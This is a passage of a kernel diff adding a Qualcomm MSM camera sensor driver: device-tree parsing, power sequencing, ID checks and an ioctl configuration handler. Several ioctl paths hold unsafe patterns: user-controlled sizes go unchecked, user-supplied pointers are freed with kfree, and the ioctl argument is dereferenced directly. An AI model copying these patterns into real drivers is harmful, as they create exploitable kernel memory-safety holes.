of_property_read_u32(of_node, "qcom,cci-master", + &s_ctrl->cci_i2c_master); + CDBG("%s qcom,cci-master %d, rc %d\n", __func__, s_ctrl->cci_i2c_master, + rc); + if (rc < 0) { + /* Set default master 0 */ + s_ctrl->cci_i2c_master = MASTER_0; + rc = 0; + } + + rc = msm_sensor_get_sub_module_index(of_node, &sensordata->sensor_info); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_SENSORDATA; + } + + /* Get sensor mount angle */ + if (0 > of_property_read_u32(of_node, "qcom,mount-angle", + &sensordata->sensor_info->sensor_mount_angle)) { + /* Invalidate mount angle flag */ + CDBG("%s:%d Default sensor mount angle\n", + __func__, __LINE__); + sensordata->sensor_info->is_mount_angle_valid = 0; + sensordata->sensor_info->sensor_mount_angle = 0; + } else { + sensordata->sensor_info->is_mount_angle_valid = 1; + } + CDBG("%s qcom,mount-angle %d\n", __func__, + sensordata->sensor_info->sensor_mount_angle); + if (0 > of_property_read_u32(of_node, "qcom,sensor-position", + &sensordata->sensor_info->position)) { + CDBG("%s:%d Default sensor position\n", __func__, __LINE__); + sensordata->sensor_info->position = 0; + } + CDBG("%s qcom,sensor-position %d\n", __func__, + sensordata->sensor_info->position); + if (0 > of_property_read_u32(of_node, "qcom,sensor-mode", + &sensordata->sensor_info->modes_supported)) { + CDBG("%s:%d Default sensor mode\n", __func__, __LINE__); + sensordata->sensor_info->modes_supported = 0; + } + CDBG("%s qcom,sensor-mode %d\n", __func__, + sensordata->sensor_info->modes_supported); + + s_ctrl->set_mclk_23880000 = of_property_read_bool(of_node, + "qcom,mclk-23880000"); + + CDBG("%s qcom,mclk-23880000 %d\n", __func__, + s_ctrl->set_mclk_23880000); + + rc = msm_sensor_get_dt_csi_data(of_node, &sensordata->csi_lane_params); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_SENSOR_INFO; + } + + rc = msm_camera_get_dt_vreg_data(of_node, + &sensordata->power_info.cam_vreg, + &sensordata->power_info.num_vreg); + if (rc < 0) + goto FREE_CSI; + + rc = msm_camera_get_dt_power_setting_data(of_node, + sensordata->power_info.cam_vreg, + sensordata->power_info.num_vreg, + &sensordata->power_info); + + + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_VREG; + } + + + rc = msm_camera_get_power_settimgs_from_sensor_lib( + &sensordata->power_info, + &s_ctrl->power_setting_array); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_VREG; + } + + sensordata->power_info.gpio_conf = kzalloc( + sizeof(struct msm_camera_gpio_conf), GFP_KERNEL); + if (!sensordata->power_info.gpio_conf) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto FREE_PS; + } + gconf = sensordata->power_info.gpio_conf; + + gpio_array_size = of_gpio_count(of_node); + CDBG("%s gpio count %d\n", __func__, gpio_array_size); + + if (gpio_array_size) { + gpio_array = kzalloc(sizeof(uint16_t) * gpio_array_size, + GFP_KERNEL); + if (!gpio_array) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_GPIO_CONF; + } + for (i = 0; i < gpio_array_size; i++) { + gpio_array[i] = of_get_gpio(of_node, i); + CDBG("%s gpio_array[%d] = %d\n", __func__, i, + gpio_array[i]); + } + + rc = msm_camera_get_dt_gpio_req_tbl(of_node, gconf, + gpio_array, gpio_array_size); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_GPIO_CONF; + } + + rc = msm_camera_get_dt_gpio_set_tbl(of_node, gconf, + gpio_array, gpio_array_size); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_GPIO_REQ_TBL; + } + + rc = msm_camera_init_gpio_pin_tbl(of_node, gconf, + gpio_array, gpio_array_size); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_GPIO_SET_TBL; + } + } + rc = msm_sensor_get_dt_actuator_data(of_node, + &sensordata->actuator_info); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_GPIO_PIN_TBL; + } + + sensordata->slave_info = kzalloc(sizeof(struct msm_camera_slave_info), + GFP_KERNEL); + if (!sensordata->slave_info) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto FREE_ACTUATOR_INFO; + } + + rc = of_property_read_u32_array(of_node, "qcom,slave-id", + id_info, 3); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_SLAVE_INFO; + } + + sensordata->slave_info->sensor_slave_addr = id_info[0]; + sensordata->slave_info->sensor_id_reg_addr = id_info[1]; + sensordata->slave_info->sensor_id = id_info[2]; + CDBG("%s:%d slave addr 0x%x sensor reg 0x%x id 0x%x\n", + __func__, __LINE__, + sensordata->slave_info->sensor_slave_addr, + sensordata->slave_info->sensor_id_reg_addr, + sensordata->slave_info->sensor_id); + + /*Optional property, don't return error if absent */ + ret = of_property_read_string(of_node, "qcom,vdd-cx-name", + &sensordata->misc_regulator); + CDBG("%s qcom,misc_regulator %s, rc %d\n", __func__, + sensordata->misc_regulator, ret); + + kfree(gpio_array); + + return rc; + +FREE_SLAVE_INFO: + kfree(s_ctrl->sensordata->slave_info); +FREE_ACTUATOR_INFO: + kfree(s_ctrl->sensordata->actuator_info); +FREE_GPIO_PIN_TBL: + kfree(s_ctrl->sensordata->power_info.gpio_conf->gpio_num_info); +FREE_GPIO_SET_TBL: + kfree(s_ctrl->sensordata->power_info.gpio_conf->cam_gpio_set_tbl); +FREE_GPIO_REQ_TBL: + kfree(s_ctrl->sensordata->power_info.gpio_conf->cam_gpio_req_tbl); +FREE_GPIO_CONF: + kfree(s_ctrl->sensordata->power_info.gpio_conf); +FREE_PS: + kfree(s_ctrl->sensordata->power_info.power_setting); + kfree(s_ctrl->sensordata->power_info.power_down_setting); +FREE_VREG: + kfree(s_ctrl->sensordata->power_info.cam_vreg); +FREE_CSI: + kfree(s_ctrl->sensordata->csi_lane_params); +FREE_SENSOR_INFO: + kfree(s_ctrl->sensordata->sensor_info); +FREE_SENSORDATA: + kfree(s_ctrl->sensordata); + kfree(gpio_array); + return rc; +} + +static void msm_sensor_misc_regulator( + struct msm_sensor_ctrl_t *sctrl, uint32_t enable) +{ + int32_t rc = 0; + if (enable) { + sctrl->misc_regulator = (void *)rpm_regulator_get( + &sctrl->pdev->dev, sctrl->sensordata->misc_regulator); + if (sctrl->misc_regulator) { + rc = rpm_regulator_set_mode(sctrl->misc_regulator, + RPM_REGULATOR_MODE_HPM); + if (rc < 0) { + pr_err("%s: Failed to set for rpm regulator on %s: %d\n", + __func__, + sctrl->sensordata->misc_regulator, rc); + rpm_regulator_put(sctrl->misc_regulator); + } + } else { + pr_err("%s: Failed to vote for rpm regulator on %s: %d\n", + __func__, + sctrl->sensordata->misc_regulator, rc); + } + } else { + if (sctrl->misc_regulator) { + rc = rpm_regulator_set_mode( + (struct rpm_regulator *)sctrl->misc_regulator, + RPM_REGULATOR_MODE_AUTO); + if (rc < 0) + pr_err("%s: Failed to set for rpm regulator on %s: %d\n", + __func__, + sctrl->sensordata->misc_regulator, rc); + rpm_regulator_put(sctrl->misc_regulator); + } + } +} + +int32_t msm_sensor_free_sensor_data(struct msm_sensor_ctrl_t *s_ctrl) +{ + if (!s_ctrl->pdev && !s_ctrl->sensor_i2c_client->client) + return 0; + kfree(s_ctrl->sensordata->slave_info); + kfree(s_ctrl->sensordata->cam_slave_info); + kfree(s_ctrl->sensordata->actuator_info); + kfree(s_ctrl->sensordata->power_info.gpio_conf->gpio_num_info); + kfree(s_ctrl->sensordata->power_info.gpio_conf->cam_gpio_set_tbl); + kfree(s_ctrl->sensordata->power_info.gpio_conf->cam_gpio_req_tbl); + kfree(s_ctrl->sensordata->power_info.gpio_conf); + kfree(s_ctrl->sensordata->power_info.cam_vreg); + kfree(s_ctrl->sensordata->power_info.power_setting); + kfree(s_ctrl->sensordata->csi_lane_params); + kfree(s_ctrl->sensordata->sensor_info); + kfree(s_ctrl->sensordata->power_info.clk_info); + kfree(s_ctrl->sensordata); + return 0; +} + +static struct msm_cam_clk_info cam_8960_clk_info[] = { + [SENSOR_CAM_MCLK] = {"cam_clk", 24000000}, +}; + +static struct msm_cam_clk_info cam_8610_clk_info[] = { + [SENSOR_CAM_MCLK] = {"cam_src_clk", 24000000}, + [SENSOR_CAM_CLK] = {"cam_clk", 0}, +}; + +static struct msm_cam_clk_info cam_8974_clk_info[] = { + [SENSOR_CAM_MCLK] = {"cam_src_clk", 24000000}, + [SENSOR_CAM_CLK] = {"cam_clk", 0}, +}; + +int msm_sensor_power_down(struct msm_sensor_ctrl_t *s_ctrl) +{ + struct msm_camera_power_ctrl_t *power_info; + enum msm_camera_device_type_t sensor_device_type; + struct msm_camera_i2c_client *sensor_i2c_client; + + if (!s_ctrl) { + pr_err("%s:%d failed: s_ctrl %p\n", + __func__, __LINE__, s_ctrl); + return -EINVAL; + } + + power_info = &s_ctrl->sensordata->power_info; + sensor_device_type = s_ctrl->sensor_device_type; + sensor_i2c_client = s_ctrl->sensor_i2c_client; + + if (!power_info || !sensor_i2c_client) { + pr_err("%s:%d failed: power_info %p sensor_i2c_client %p\n", + __func__, __LINE__, power_info, sensor_i2c_client); + return -EINVAL; + } + return msm_camera_power_down(power_info, sensor_device_type, + sensor_i2c_client); +} + +int msm_sensor_power_up(struct msm_sensor_ctrl_t *s_ctrl) +{ + int rc; + struct msm_camera_power_ctrl_t *power_info; + struct msm_camera_i2c_client *sensor_i2c_client; + struct msm_camera_slave_info *slave_info; + const char *sensor_name; + uint32_t retry = 0; + + if (!s_ctrl) { + pr_err("%s:%d failed: %p\n", + __func__, __LINE__, s_ctrl); + return -EINVAL; + } + + power_info = &s_ctrl->sensordata->power_info; + sensor_i2c_client = s_ctrl->sensor_i2c_client; + slave_info = s_ctrl->sensordata->slave_info; + sensor_name = s_ctrl->sensordata->sensor_name; + + if (!power_info || !sensor_i2c_client || !slave_info || + !sensor_name) { + pr_err("%s:%d failed: %p %p %p %p\n", + __func__, __LINE__, power_info, + sensor_i2c_client, slave_info, sensor_name); + return -EINVAL; + } + + if (s_ctrl->set_mclk_23880000) + msm_sensor_adjust_mclk(power_info); + + for (retry = 0; retry < 3; retry++) { + rc = msm_camera_power_up(power_info, s_ctrl->sensor_device_type, + sensor_i2c_client); + if (rc < 0) + return rc; + rc = msm_sensor_check_id(s_ctrl); + if (rc < 0) { + msm_camera_power_down(power_info, + s_ctrl->sensor_device_type, sensor_i2c_client); + msleep(20); + continue; + } else { + break; + } + } + + return rc; +} + +int msm_sensor_match_id(struct msm_sensor_ctrl_t *s_ctrl) +{ + int rc = 0; + uint16_t chipid = 0; + struct msm_camera_i2c_client *sensor_i2c_client; + struct msm_camera_slave_info *slave_info; + const char *sensor_name; + + if (!s_ctrl) { + pr_err("%s:%d failed: %p\n", + __func__, __LINE__, s_ctrl); + return -EINVAL; + } + sensor_i2c_client = s_ctrl->sensor_i2c_client; + slave_info = s_ctrl->sensordata->slave_info; + sensor_name = s_ctrl->sensordata->sensor_name; + + if (!sensor_i2c_client || !slave_info || !sensor_name) { + pr_err("%s:%d failed: %p %p %p\n", + __func__, __LINE__, sensor_i2c_client, slave_info, + sensor_name); + return -EINVAL; + } + + rc = sensor_i2c_client->i2c_func_tbl->i2c_read( + sensor_i2c_client, slave_info->sensor_id_reg_addr, + &chipid, MSM_CAMERA_I2C_WORD_DATA); + if (rc < 0) { + pr_err("%s: %s: read id failed\n", __func__, sensor_name); + return rc; + } + + CDBG("%s: read id: 0x%x expected id 0x%x:\n", __func__, chipid, + slave_info->sensor_id); + if (chipid != slave_info->sensor_id) { + pr_err("msm_sensor_match_id chip id doesnot match\n"); + return -ENODEV; + } + return rc; +} + +static struct msm_sensor_ctrl_t *get_sctrl(struct v4l2_subdev *sd) +{ + return container_of(container_of(sd, struct msm_sd_subdev, sd), + struct msm_sensor_ctrl_t, msm_sd); +} + +static void msm_sensor_stop_stream(struct msm_sensor_ctrl_t *s_ctrl) +{ + mutex_lock(s_ctrl->msm_sensor_mutex); + if (s_ctrl->sensor_state == MSM_SENSOR_POWER_UP) { + s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( + s_ctrl->sensor_i2c_client, &s_ctrl->stop_setting); + kfree(s_ctrl->stop_setting.reg_setting); + s_ctrl->stop_setting.reg_setting = NULL; + } + mutex_unlock(s_ctrl->msm_sensor_mutex); + return; +} + +static int msm_sensor_get_af_status(struct msm_sensor_ctrl_t *s_ctrl, + void __user *argp) +{ + /* TO-DO: Need to set AF status register address and expected value + We need to check the AF status in the sensor register and + set the status in the *status variable accordingly*/ + return 0; +} + +static long msm_sensor_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + struct msm_sensor_ctrl_t *s_ctrl = get_sctrl(sd); + void __user *argp = (void __user *)arg; + if (!s_ctrl) { + pr_err("%s s_ctrl NULL\n", __func__); + return -EBADF; + } + switch (cmd) { + case VIDIOC_MSM_SENSOR_CFG: + return s_ctrl->func_tbl->sensor_config(s_ctrl, argp); + case VIDIOC_MSM_SENSOR_GET_AF_STATUS: + return msm_sensor_get_af_status(s_ctrl, argp); + case VIDIOC_MSM_SENSOR_RELEASE: + msm_sensor_stop_stream(s_ctrl); + return 0; + case MSM_SD_SHUTDOWN: + return 0; + default: + return -ENOIOCTLCMD; + } +} + +int msm_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, void __user *argp) +{ + struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; + int32_t rc = 0; + int32_t i = 0; + mutex_lock(s_ctrl->msm_sensor_mutex); + CDBG("%s:%d %s cfgtype = %d\n", __func__, __LINE__, + s_ctrl->sensordata->sensor_name, cdata->cfgtype); + switch (cdata->cfgtype) { + case CFG_GET_SENSOR_INFO: + memcpy(cdata->cfg.sensor_info.sensor_name, + s_ctrl->sensordata->sensor_name, + sizeof(cdata->cfg.sensor_info.sensor_name)); + cdata->cfg.sensor_info.session_id = + s_ctrl->sensordata->sensor_info->session_id; + for (i = 0; i < SUB_MODULE_MAX; i++) + cdata->cfg.sensor_info.subdev_id[i] = + s_ctrl->sensordata->sensor_info->subdev_id[i]; + cdata->cfg.sensor_info.is_mount_angle_valid = + s_ctrl->sensordata->sensor_info->is_mount_angle_valid; + cdata->cfg.sensor_info.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + cdata->cfg.sensor_info.position = + s_ctrl->sensordata->sensor_info->position; + cdata->cfg.sensor_info.modes_supported = + s_ctrl->sensordata->sensor_info->modes_supported; + CDBG("%s:%d sensor name %s\n", __func__, __LINE__, + cdata->cfg.sensor_info.sensor_name); + CDBG("%s:%d session id %d\n", __func__, __LINE__, + cdata->cfg.sensor_info.session_id); + for (i = 0; i < SUB_MODULE_MAX; i++) + CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, + cdata->cfg.sensor_info.subdev_id[i]); + CDBG("%s:%d mount angle valid %d value %d\n", __func__, + __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, + cdata->cfg.sensor_info.sensor_mount_angle); + + break; + case CFG_GET_SENSOR_INIT_PARAMS: + cdata->cfg.sensor_init_params.modes_supported = + s_ctrl->sensordata->sensor_info->modes_supported; + cdata->cfg.sensor_init_params.position = + s_ctrl->sensordata->sensor_info->position; + cdata->cfg.sensor_init_params.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + CDBG("%s:%d init params mode %d pos %d mount %d\n", __func__, + __LINE__, + cdata->cfg.sensor_init_params.modes_supported, + cdata->cfg.sensor_init_params.position, + cdata->cfg.sensor_init_params.sensor_mount_angle); + break; + case CFG_SET_SLAVE_INFO: { + struct msm_camera_sensor_slave_info sensor_slave_info; + struct msm_camera_power_ctrl_t *p_ctrl; + uint16_t size; + int s_index = 0; + if (copy_from_user(&sensor_slave_info, + (void *)cdata->cfg.setting, + sizeof(sensor_slave_info))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + /* Update sensor slave address */ + if (sensor_slave_info.slave_addr) { + s_ctrl->sensor_i2c_client->cci_client->sid = + sensor_slave_info.slave_addr >> 1; + } + + /* Update sensor address type */ + s_ctrl->sensor_i2c_client->addr_type = + sensor_slave_info.addr_type; + p_ctrl = &s_ctrl->sensordata->power_info; + + /* Update power up sequence */ + size = sensor_slave_info.power_setting_array.size; + if (p_ctrl->power_setting_size < size) { + struct msm_sensor_power_setting *tmp; + tmp = kmalloc(sizeof(*tmp) * size, GFP_KERNEL); + if (!tmp) { + pr_err("%s: failed to alloc mem\n", __func__); + rc = -ENOMEM; + break; + } + kfree(p_ctrl->power_setting); + p_ctrl->power_setting = tmp; + } + p_ctrl->power_setting_size = size; + + + rc = copy_from_user(p_ctrl->power_setting, (void *) + sensor_slave_info.power_setting_array.power_setting, + size * sizeof(struct msm_sensor_power_setting)); + if (rc) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(sensor_slave_info.power_setting_array. + power_setting); + rc = -EFAULT; + break; + } + CDBG("%s sensor id 0x%x\n", __func__, + sensor_slave_info.slave_addr); + CDBG("%s sensor addr type %d\n", __func__, + sensor_slave_info.addr_type); + CDBG("%s sensor reg 0x%x\n", __func__, + sensor_slave_info.sensor_id_info.sensor_id_reg_addr); + CDBG("%s sensor id 0x%x\n", __func__, + sensor_slave_info.sensor_id_info.sensor_id); + for (s_index = 0; s_index < + p_ctrl->power_setting_size; s_index++) { + CDBG("%s i %d power up setting %d %d %ld %d\n", + __func__, + s_index, + p_ctrl->power_setting[s_index].seq_type, + p_ctrl->power_setting[s_index].seq_val, + p_ctrl->power_setting[s_index].config_val, + p_ctrl->power_setting[s_index].delay); + } + + /* Update power down sequence */ + if (!sensor_slave_info.power_setting_array.power_down_setting || + 0 == size) { + pr_err("%s: Missing dedicated power down sequence\n", + __func__); + break; + } + size = sensor_slave_info.power_setting_array.size_down; + + if (p_ctrl->power_down_setting_size < size) { + struct msm_sensor_power_setting *tmp; + tmp = kmalloc(sizeof(*tmp) * size, GFP_KERNEL); + if (!tmp) { + pr_err("%s: failed to alloc mem\n", __func__); + rc = -ENOMEM; + break; + } + kfree(p_ctrl->power_down_setting); + p_ctrl->power_down_setting = tmp; + } + p_ctrl->power_down_setting_size = size; + + + rc = copy_from_user(p_ctrl->power_down_setting, (void *) + sensor_slave_info.power_setting_array. + power_down_setting, + size * sizeof(struct msm_sensor_power_setting)); + if (rc) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(sensor_slave_info.power_setting_array. + power_down_setting); + rc = -EFAULT; + break; + } + for (s_index = 0; s_index < + p_ctrl->power_down_setting_size; s_index++) { + CDBG("%s i %d power DOWN setting %d %d %ld %d\n", + __func__, + s_index, + p_ctrl->power_down_setting[s_index].seq_type, + p_ctrl->power_down_setting[s_index].seq_val, + p_ctrl->power_down_setting[s_index].config_val, + p_ctrl->power_down_setting[s_index].delay); + } + + break; + } + case CFG_WRITE_I2C_ARRAY: { + struct msm_camera_i2c_reg_setting conf_array; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + + if (s_ctrl->sensor_state != MSM_SENSOR_POWER_UP) { + pr_err("%s:%d failed: invalid state %d\n", __func__, + __LINE__, s_ctrl->sensor_state); + rc = -EFAULT; + break; + } + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + if (!conf_array.size) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( + s_ctrl->sensor_i2c_client, &conf_array); + kfree(reg_setting); + break; + } + case CFG_SLAVE_READ_I2C: { + struct msm_camera_i2c_read_config read_config; + uint16_t local_data = 0; + uint16_t orig_slave_addr = 0, read_slave_addr = 0; + if (copy_from_user(&read_config, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_read_config))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + read_slave_addr = read_config.slave_addr; + CDBG("%s:CFG_SLAVE_READ_I2C:", __func__); + CDBG("%s:slave_addr=0x%x reg_addr=0x%x, data_type=%d\n", + __func__, read_config.slave_addr, + read_config.reg_addr, read_config.data_type); + if (s_ctrl->sensor_i2c_client->cci_client) { + orig_slave_addr = + s_ctrl->sensor_i2c_client->cci_client->sid; + s_ctrl->sensor_i2c_client->cci_client->sid = + read_slave_addr >> 1; + } else if (s_ctrl->sensor_i2c_client->client) { + orig_slave_addr = + s_ctrl->sensor_i2c_client->client->addr; + s_ctrl->sensor_i2c_client->client->addr = + read_slave_addr >> 1; + } else { + pr_err("%s: error: no i2c/cci client found.", __func__); + rc = -EFAULT; + break; + } + CDBG("%s:orig_slave_addr=0x%x, new_slave_addr=0x%x", + __func__, orig_slave_addr, + read_slave_addr >> 1); + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_read( + s_ctrl->sensor_i2c_client, + read_config.reg_addr, + &local_data, read_config.data_type); + if (rc < 0) { + pr_err("%s:%d: i2c_read failed\n", __func__, __LINE__); + break; + } + if (copy_to_user((void __user *)read_config.data, + (void *)&local_data, sizeof(uint16_t))) { + pr_err("%s:%d copy failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + break; + } + case CFG_SLAVE_WRITE_I2C_ARRAY: { + struct msm_camera_i2c_array_write_config write_config; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + uint16_t write_slave_addr = 0; + uint16_t orig_slave_addr = 0; + + if (copy_from_user(&write_config, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_array_write_config))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + CDBG("%s:CFG_SLAVE_WRITE_I2C_ARRAY:", __func__); + CDBG("%s:slave_addr=0x%x, array_size=%d\n", __func__, + write_config.slave_addr, + write_config.conf_array.size); + + if (!write_config.conf_array.size) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + reg_setting = kzalloc(write_config.conf_array.size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, + (void *)(write_config.conf_array.reg_setting), + write_config.conf_array.size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + write_config.conf_array.reg_setting = reg_setting; + write_slave_addr = write_config.slave_addr; + if (s_ctrl->sensor_i2c_client->cci_client) { + orig_slave_addr = + s_ctrl->sensor_i2c_client->cci_client->sid; + s_ctrl->sensor_i2c_client->cci_client->sid = + write_slave_addr >> 1; + } else if (s_ctrl->sensor_i2c_client->client) { + orig_slave_addr = + s_ctrl->sensor_i2c_client->client->addr; + s_ctrl->sensor_i2c_client->client->addr = + write_slave_addr >> 1; + } else { + pr_err("%s: error: no i2c/cci client found.", __func__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + CDBG("%s:orig_slave_addr=0x%x, new_slave_addr=0x%x", + __func__, orig_slave_addr, + write_slave_addr >> 1); + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( + s_ctrl->sensor_i2c_client, &(write_config.conf_array)); + if (s_ctrl->sensor_i2c_client->cci_client) { + s_ctrl->sensor_i2c_client->cci_client->sid = + orig_slave_addr; + } else if (s_ctrl->sensor_i2c_client->client) { + s_ctrl->sensor_i2c_client->client->addr = + orig_slave_addr; + } else { + pr_err("%s: error: no i2c/cci client found.", __func__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + kfree(reg_setting); + break; + } + case CFG_WRITE_I2C_SEQ_ARRAY: { + struct msm_camera_i2c_seq_reg_setting conf_array; + struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; + + if (s_ctrl->sensor_state != MSM_SENSOR_POWER_UP) { + pr_err("%s:%d failed: invalid state %d\n", __func__, + __LINE__, s_ctrl->sensor_state); + rc = -EFAULT; + break; + } + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_seq_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + if (!conf_array.size) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_seq_reg_array)), + GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_seq_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_seq_table(s_ctrl->sensor_i2c_client, + &conf_array); + kfree(reg_setting); + break; + } + + case CFG_POWER_UP: + if (s_ctrl->sensor_state != MSM_SENSOR_POWER_DOWN) { + pr_err("%s:%d failed: invalid state %d\n", __func__, + __LINE__, s_ctrl->sensor_state); + rc = -EFAULT; + break; + } + if (s_ctrl->func_tbl->sensor_power_up) { + if (s_ctrl->sensordata->misc_regulator) + msm_sensor_misc_regulator(s_ctrl, 1); + + rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); + if (rc < 0) { + pr_err("%s:%d failed rc %d\n", __func__, + __LINE__, rc); + break; + } + s_ctrl->sensor_state = MSM_SENSOR_POWER_UP; + pr_err("%s:%d sensor state %d\n", __func__, __LINE__, + s_ctrl->sensor_state); + } else { + rc = -EFAULT; + } + break; + + case CFG_POWER_DOWN: + kfree(s_ctrl->stop_setting.reg_setting); + s_ctrl->stop_setting.reg_setting = NULL; + if (s_ctrl->sensor_state != MSM_SENSOR_POWER_UP) { + pr_err("%s:%d failed: invalid state %d\n", __func__, + __LINE__, s_ctrl->sensor_state); + rc = -EFAULT; + break; + } + if (s_ctrl->func_tbl->sensor_power_down) { + if (s_ctrl->sensordata->misc_regulator) + msm_sensor_misc_regulator(s_ctrl, 0); + + rc = s_ctrl->func_tbl->sensor_power_down(s_ctrl); + if (rc < 0) { + pr_err("%s:%d failed rc %d\n", __func__, + __LINE__, rc); + break; + } + s_ctrl->sensor_state = MSM_SENSOR_POWER_DOWN; + pr_err("%s:%d sensor state %d\n", __func__, __LINE__, + s_ctrl->sensor_state); + } else { + rc = -EFAULT; + } + break; + + case CFG_SET_STOP_STREAM_SETTING: { + struct msm_camera_i2c_reg_setting *stop_setting = + &s_ctrl->stop_setting; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + if (copy_from_user(stop_setting, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = stop_setting->reg_setting; + + if (!stop_setting->size) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + stop_setting->reg_setting = kzalloc(stop_setting->size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!stop_setting->reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(stop_setting->reg_setting, + (void *)reg_setting, + stop_setting->size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(stop_setting->reg_setting); + stop_setting->reg_setting = NULL; + stop_setting->size = 0; + rc = -EFAULT; + break; + } + break; + } + default: + rc = -EFAULT; + break; + } + + mutex_unlock(s_ctrl->msm_sensor_mutex); + + return rc; +} + +int msm_sensor_check_id(struct msm_sensor_ctrl_t *s_ctrl) +{ + int rc; + + if (s_ctrl->func_tbl->sensor_match_id) + rc = s_ctrl->func_tbl->sensor_match_id(s_ctrl); + else + rc = msm_sensor_match_id(s_ctrl); + if (rc < 0) + pr_err("%s:%d match id failed rc %d\n", __func__, __LINE__, rc); + return rc; +} + +static int msm_sensor_power(struct v4l2_subdev *sd, int on) +{ + int rc = 0; + struct msm_sensor_ctrl_t *s_ctrl = get_sctrl(sd); + mutex_lock(s_ctrl->msm_sensor_mutex); + if (!on && s_ctrl->sensor_state == MSM_SENSOR_POWER_UP) { + s_ctrl->func_tbl->sensor_power_down(s_ctrl); + s_ctrl->sensor_state = MSM_SENSOR_POWER_DOWN; + } + mutex_unlock(s_ctrl->msm_sensor_mutex); + return rc; +} + +static int msm_sensor_v4l2_enum_fmt(struct v4l2_subdev *sd, + unsigned int index, enum v4l2_mbus_pixelcode *code) +{ + struct msm_sensor_ctrl_t *s_ctrl = get_sctrl(sd); + + if ((unsigned int)index >= s_ctrl->sensor_v4l2_subdev_info_size) + return -EINVAL; + + *code = s_ctrl->sensor_v4l2_subdev_info[index].code; + return 0; +} + +static struct v4l2_subdev_core_ops msm_sensor_subdev_core_ops = { + 